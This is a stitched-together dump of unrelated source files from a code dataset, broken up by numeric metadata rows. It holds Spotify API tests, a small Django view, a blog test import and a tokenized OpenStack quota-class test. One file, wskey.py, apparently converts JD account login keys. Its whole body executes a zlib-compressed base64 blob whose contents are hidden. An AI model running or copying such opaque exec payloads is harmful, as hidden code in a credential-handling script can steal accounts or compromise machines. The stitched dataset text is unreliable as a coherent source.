| 24.727273 | 86 | 0.489496 | 398 | 3,808 | 4.562814 | 0.208543 | 0.03304 | 0.090859 | 0.165198 | 0.787445 | 0.787445 | 0.787445 | 0.787445 | 0.78359 | 0.745044 | 0 | 0.020372 | 0.407038 | 3,808 | 153 | 87 | 24.888889 | 0.78388 | 0.021534 | 0 | 0.72449 | 0 | 0 | 0.267708 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030612 | false | 0 | 0.091837 | 0 | 0.132653 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8b6354057b8564afc6662404dfeda7ec6499065f | 5,312 | py | Python | wskey.py | Mario0o/jdd | a870cf3af7dbfedd10498c066d772e96b121859f | [
"MIT"
] | 1 | 2021-09-25T06:05:49.000Z | 2021-09-25T06:05:49.000Z | wskey.py | Mario0o/jdd | a870cf3af7dbfedd10498c066d772e96b121859f | [
"MIT"
] | null | null | null | wskey.py | Mario0o/jdd | a870cf3af7dbfedd10498c066d772e96b121859f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*
'''
cron: 18 */12 * * * wskey.py
new Env('wskey转换');
'''
import zlib, base64
exec(zlib.decompress(base64.b64decode('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')))
| 664 | 5,211 | 0.957455 | 183 | 5,312 | 27.79235 | 0.989071 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158541 | 0.003765 | 5,312 | 7 | 5,212 | 758.857143 | 0.802532 | 0.013178 | 0 | 0 | 0 | 0.5 | 0.98739 | 0.98739 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 10 |
8ba015f907418aa79853544a7250aa63ec2e89db | 1,432 | py | Python | tests/test_integration/test_sync/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 48 | 2019-02-13T19:53:39.000Z | 2021-05-04T20:56:34.000Z | tests/test_integration/test_sync/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 21 | 2019-01-09T17:46:13.000Z | 2021-08-22T12:38:59.000Z | tests/test_integration/test_sync/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 15 | 2019-01-03T01:30:24.000Z | 2022-01-30T09:53:18.000Z | def test_save_album(spotify_user_auth, nothing_was_the_same_album_id):
assert spotify_user_auth.save_albums(nothing_was_the_same_album_id) is not None
def test_save_albums(
spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert (
spotify_user_auth.save_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
is not None
)
def test_owns_album(spotify_user_auth, scorpion_album_id):
assert spotify_user_auth.owns_albums(scorpion_album_id)
def test_owns_albums(
spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert spotify_user_auth.owns_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
def test_delete_album(spotify_user_auth, scorpion_album_id):
assert spotify_user_auth.delete_albums(scorpion_album_id) is not None
def test_delete_albums(
spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert (
spotify_user_auth.delete_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
is not None
)
def test_album(spotify_user_auth, reise_reise_album_id, ritual_spirit_album_id):
assert spotify_user_auth.albums(
album_ids=[reise_reise_album_id, ritual_spirit_album_id]
)
def test_albums(spotify_user_auth, reise_reise_album_id):
assert spotify_user_auth.albums(reise_reise_album_id)
| 28.078431 | 83 | 0.778631 | 216 | 1,432 | 4.555556 | 0.111111 | 0.170732 | 0.243902 | 0.138211 | 0.886179 | 0.886179 | 0.886179 | 0.767276 | 0.694106 | 0.694106 | 0 | 0 | 0.167598 | 1,432 | 50 | 84 | 28.64 | 0.825503 | 0 | 0 | 0.361111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 1 | 0.222222 | false | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8bb34c5063f49c83fb096795f64f5d8ac144c9a1 | 67 | py | Python | blog/test.py | hacking-science/hacking-science-website | 853278476853b34902b706dec1266ec48cabcfdc | [
"MIT"
] | 3 | 2018-01-16T18:56:29.000Z | 2018-01-30T18:07:07.000Z | blog/test.py | hacking-science/hacking-science-website | 853278476853b34902b706dec1266ec48cabcfdc | [
"MIT"
] | 61 | 2018-01-10T21:26:06.000Z | 2021-06-10T20:12:04.000Z | blog/test.py | hacking-science/hacking-science-website | 853278476853b34902b706dec1266ec48cabcfdc | [
"MIT"
] | null | null | null | from blog.tests.controller import *
from blog.tests.model import *
| 22.333333 | 35 | 0.791045 | 10 | 67 | 5.3 | 0.6 | 0.301887 | 0.490566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119403 | 67 | 2 | 36 | 33.5 | 0.898305 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
8bde9c29b1f4ad10a872f8fd21eabfbf75e10118 | 200 | py | Python | app/views.py | 2knal/WheresThat | de2e41abc5a83cd78bee74bdc65b4b5b5167edfe | [
"MIT"
] | 2 | 2019-02-03T11:12:47.000Z | 2019-04-26T21:30:20.000Z | app/views.py | 2knal/WheresThat | de2e41abc5a83cd78bee74bdc65b4b5b5167edfe | [
"MIT"
] | null | null | null | app/views.py | 2knal/WheresThat | de2e41abc5a83cd78bee74bdc65b4b5b5167edfe | [
"MIT"
] | 2 | 2019-02-03T13:14:09.000Z | 2019-03-20T15:39:32.000Z | from django.shortcuts import render
context = {}
def home(request):
return render(request, 'app/index.html', context)
def client(request):
return render(request, 'app/client.html', context)
| 22.222222 | 54 | 0.725 | 26 | 200 | 5.576923 | 0.538462 | 0.137931 | 0.262069 | 0.358621 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145 | 200 | 8 | 55 | 25 | 0.847953 | 0 | 0 | 0 | 0 | 0 | 0.145 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0.333333 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
475a773ae7c3ae9aa93dc31e5f76c985d9af7581 | 15,347 | py | Python | nova/tests/unit/api/openstack/compute/test_quota_classes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | null | null | null | nova/tests/unit/api/openstack/compute/test_quota_classes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | null | null | null | nova/tests/unit/api/openstack/compute/test_quota_classes.py | bopopescu/nova-token | ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2 | [
"Apache-2.0"
] | 2 | 2017-07-20T17:31:34.000Z | 2020-07-24T02:42:19.000Z | begin_unit
comment|'# Copyright 2012 OpenStack Foundation'
nl|'\n'
comment|'# All Rights Reserved.'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may'
nl|'\n'
comment|'# not use this file except in compliance with the License. You may obtain'
nl|'\n'
comment|'# a copy of the License at'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# http://www.apache.org/licenses/LICENSE-2.0'
nl|'\n'
comment|'#'
nl|'\n'
comment|'# Unless required by applicable law or agreed to in writing, software'
nl|'\n'
comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT'
nl|'\n'
comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the'
nl|'\n'
comment|'# License for the specific language governing permissions and limitations'
nl|'\n'
comment|'# under the License.'
nl|'\n'
nl|'\n'
name|'import'
name|'webob'
newline|'\n'
nl|'\n'
name|'from'
name|'nova'
op|'.'
name|'api'
op|'.'
name|'openstack'
op|'.'
name|'compute'
name|'import'
name|'extension_info'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'api'
op|'.'
name|'openstack'
op|'.'
name|'compute'
name|'import'
name|'quota_classes'
name|'as'
name|'quota_classes_v21'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'exception'
newline|'\n'
name|'from'
name|'nova'
name|'import'
name|'test'
newline|'\n'
name|'from'
name|'nova'
op|'.'
name|'tests'
op|'.'
name|'unit'
op|'.'
name|'api'
op|'.'
name|'openstack'
name|'import'
name|'fakes'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|function|quota_set
name|'def'
name|'quota_set'
op|'('
name|'class_name'
op|')'
op|':'
newline|'\n'
indent|' '
name|'return'
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'id'"
op|':'
name|'class_name'
op|','
string|"'metadata_items'"
op|':'
number|'128'
op|','
nl|'\n'
string|"'ram'"
op|':'
number|'51200'
op|','
string|"'floating_ips'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'fixed_ips'"
op|':'
op|'-'
number|'1'
op|','
string|"'instances'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'injected_files'"
op|':'
number|'5'
op|','
string|"'cores'"
op|':'
number|'20'
op|','
nl|'\n'
string|"'injected_file_content_bytes'"
op|':'
number|'10240'
op|','
nl|'\n'
string|"'security_groups'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'security_group_rules'"
op|':'
number|'20'
op|','
string|"'key_pairs'"
op|':'
number|'100'
op|','
nl|'\n'
string|"'injected_file_path_bytes'"
op|':'
number|'255'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
nl|'\n'
DECL|class|QuotaClassSetsTestV21
dedent|''
name|'class'
name|'QuotaClassSetsTestV21'
op|'('
name|'test'
op|'.'
name|'TestCase'
op|')'
op|':'
newline|'\n'
DECL|variable|validation_error
indent|' '
name|'validation_error'
op|'='
name|'exception'
op|'.'
name|'ValidationError'
newline|'\n'
nl|'\n'
DECL|member|setUp
name|'def'
name|'setUp'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'super'
op|'('
name|'QuotaClassSetsTestV21'
op|','
name|'self'
op|')'
op|'.'
name|'setUp'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'req'
op|'='
name|'fakes'
op|'.'
name|'HTTPRequest'
op|'.'
name|'blank'
op|'('
string|"''"
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_setup'
op|'('
op|')'
newline|'\n'
nl|'\n'
DECL|member|_setup
dedent|''
name|'def'
name|'_setup'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'ext_info'
op|'='
name|'extension_info'
op|'.'
name|'LoadedExtensionInfo'
op|'('
op|')'
newline|'\n'
name|'self'
op|'.'
name|'controller'
op|'='
name|'quota_classes_v21'
op|'.'
name|'QuotaClassSetsController'
op|'('
nl|'\n'
name|'extension_info'
op|'='
name|'ext_info'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_format_quota_set
dedent|''
name|'def'
name|'test_format_quota_set'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raw_quota_set'
op|'='
op|'{'
nl|'\n'
string|"'instances'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'cores'"
op|':'
number|'20'
op|','
nl|'\n'
string|"'ram'"
op|':'
number|'51200'
op|','
nl|'\n'
string|"'floating_ips'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'fixed_ips'"
op|':'
op|'-'
number|'1'
op|','
nl|'\n'
string|"'metadata_items'"
op|':'
number|'128'
op|','
nl|'\n'
string|"'injected_files'"
op|':'
number|'5'
op|','
nl|'\n'
string|"'injected_file_path_bytes'"
op|':'
number|'255'
op|','
nl|'\n'
string|"'injected_file_content_bytes'"
op|':'
number|'10240'
op|','
nl|'\n'
string|"'security_groups'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'security_group_rules'"
op|':'
number|'20'
op|','
nl|'\n'
string|"'key_pairs'"
op|':'
number|'100'
op|','
nl|'\n'
op|'}'
newline|'\n'
nl|'\n'
name|'quota_set'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'_format_quota_set'
op|'('
string|"'test_class'"
op|','
nl|'\n'
name|'raw_quota_set'
op|')'
newline|'\n'
name|'qs'
op|'='
name|'quota_set'
op|'['
string|"'quota_class_set'"
op|']'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'id'"
op|']'
op|','
string|"'test_class'"
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'instances'"
op|']'
op|','
number|'10'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'cores'"
op|']'
op|','
number|'20'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'ram'"
op|']'
op|','
number|'51200'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'floating_ips'"
op|']'
op|','
number|'10'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'fixed_ips'"
op|']'
op|','
op|'-'
number|'1'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'metadata_items'"
op|']'
op|','
number|'128'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'injected_files'"
op|']'
op|','
number|'5'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'injected_file_path_bytes'"
op|']'
op|','
number|'255'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'injected_file_content_bytes'"
op|']'
op|','
number|'10240'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'security_groups'"
op|']'
op|','
number|'10'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'security_group_rules'"
op|']'
op|','
number|'20'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'qs'
op|'['
string|"'key_pairs'"
op|']'
op|','
number|'100'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_show
dedent|''
name|'def'
name|'test_quotas_show'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'res_dict'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'show'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'res_dict'
op|','
name|'quota_set'
op|'('
string|"'test_class'"
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update
dedent|''
name|'def'
name|'test_quotas_update'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
number|'50'
op|','
string|"'cores'"
op|':'
number|'50'
op|','
nl|'\n'
string|"'ram'"
op|':'
number|'51200'
op|','
string|"'floating_ips'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'fixed_ips'"
op|':'
op|'-'
number|'1'
op|','
string|"'metadata_items'"
op|':'
number|'128'
op|','
nl|'\n'
string|"'injected_files'"
op|':'
number|'5'
op|','
nl|'\n'
string|"'injected_file_content_bytes'"
op|':'
number|'10240'
op|','
nl|'\n'
string|"'injected_file_path_bytes'"
op|':'
number|'255'
op|','
nl|'\n'
string|"'security_groups'"
op|':'
number|'10'
op|','
nl|'\n'
string|"'security_group_rules'"
op|':'
number|'20'
op|','
nl|'\n'
string|"'key_pairs'"
op|':'
number|'100'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
name|'res_dict'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
nl|'\n'
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'res_dict'
op|','
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update_with_empty_body
dedent|''
name|'def'
name|'test_quotas_update_with_empty_body'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update_with_invalid_integer
dedent|''
name|'def'
name|'test_quotas_update_with_invalid_integer'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
number|'2'
op|'**'
number|'31'
op|'+'
number|'1'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'validation_error'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|"'test_class'"
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update_with_long_quota_class_name
dedent|''
name|'def'
name|'test_quotas_update_with_long_quota_class_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'name'
op|'='
string|"'a'"
op|'*'
number|'256'
newline|'\n'
name|'body'
op|'='
op|'{'
string|"'quota_class_set'"
op|':'
op|'{'
string|"'instances'"
op|':'
number|'10'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'webob'
op|'.'
name|'exc'
op|'.'
name|'HTTPBadRequest'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
name|'name'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_quotas_update_with_non_integer
